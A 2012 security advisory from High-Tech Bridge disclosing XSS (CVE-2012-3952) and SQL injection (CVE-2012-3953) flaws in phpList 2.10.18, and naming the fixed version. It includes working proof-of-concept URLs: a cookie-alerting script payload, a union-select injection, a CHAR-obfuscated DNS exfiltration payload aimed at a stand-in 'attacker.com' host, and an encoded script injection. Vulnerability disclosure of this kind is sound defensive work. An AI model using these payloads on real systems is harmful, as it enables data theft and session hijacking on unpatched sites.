Advisory ID: HTB23100
Product: phpList
Vendor: phpList Ltd
Vulnerable Version(s): 2.10.18 and probably prior
Tested Version: 2.10.18
Vendor Notification: July 11, 2012
Public Disclosure: August 8, 2012
Vulnerability Type: Cross-Site Scripting [CWE-79], SQL Injection [CWE-89]
CVE References: CVE-2012-3952, CVE-2012-3953
CVSSv2 Base Scores: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N), 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Risk Level: Medium
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab has discovered multiple vulnerabilities in phpList, which can be exploited to perform Cross-Site Scripting (XSS) and SQL Injection attacks against the vulnerable application.
1) Cross-Site Scripting (XSS) in phpList: CVE-2012-3952
Input passed via the "unconfirmed" GET parameter to /admin/index.php (when "page" is set to "user") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
http://[host]/admin/?page=user&find=1&unconfirmed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
2) SQL Injection in phpList: CVE-2012-3953
Input passed via the "delete" GET parameter to /admin/index.php (when "page" is set to "editattributes") is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. However successful exploitation of this vulnerability requires administrator's privileges.
The following PoC demonstrates vulnerability exploitation under administrator's account:
http://[host]/admin/?page=editattributes&id=1&delete=1 union select version() --
Alternative exploitation of the SQL injection can be performed via XSRF vector and does not require administrative privileges. The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):
http://[host]/admin/?page=editattributes&id=1&delete=1 union select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))) --
Second alternative is to exploit this SQL injection vulnerability also via XSRF vector, but to perform XSS attack against logged-in administrator. The following PoC code will simply display administrator cookies:
http://[host]/admin/?page=editattributes&id=1&delete=1 union select char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,105,112,116,62) --
-----------------------------------------------------------------------------------------------
Solution:
Upgrade to phpList 2.10.19
More Information:
http://www.phplist.com/?lid=579
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23100 - https://www.htbridge.com/advisory/HTB23100 - Cross-Site Scripting (XSS) in phpList.
[2] phpList - http://www.phplist.com - phpList is the world's most popular open source email campaign manager.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE? is a dictionary of publicly known information security vulnerabilities and exposures.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.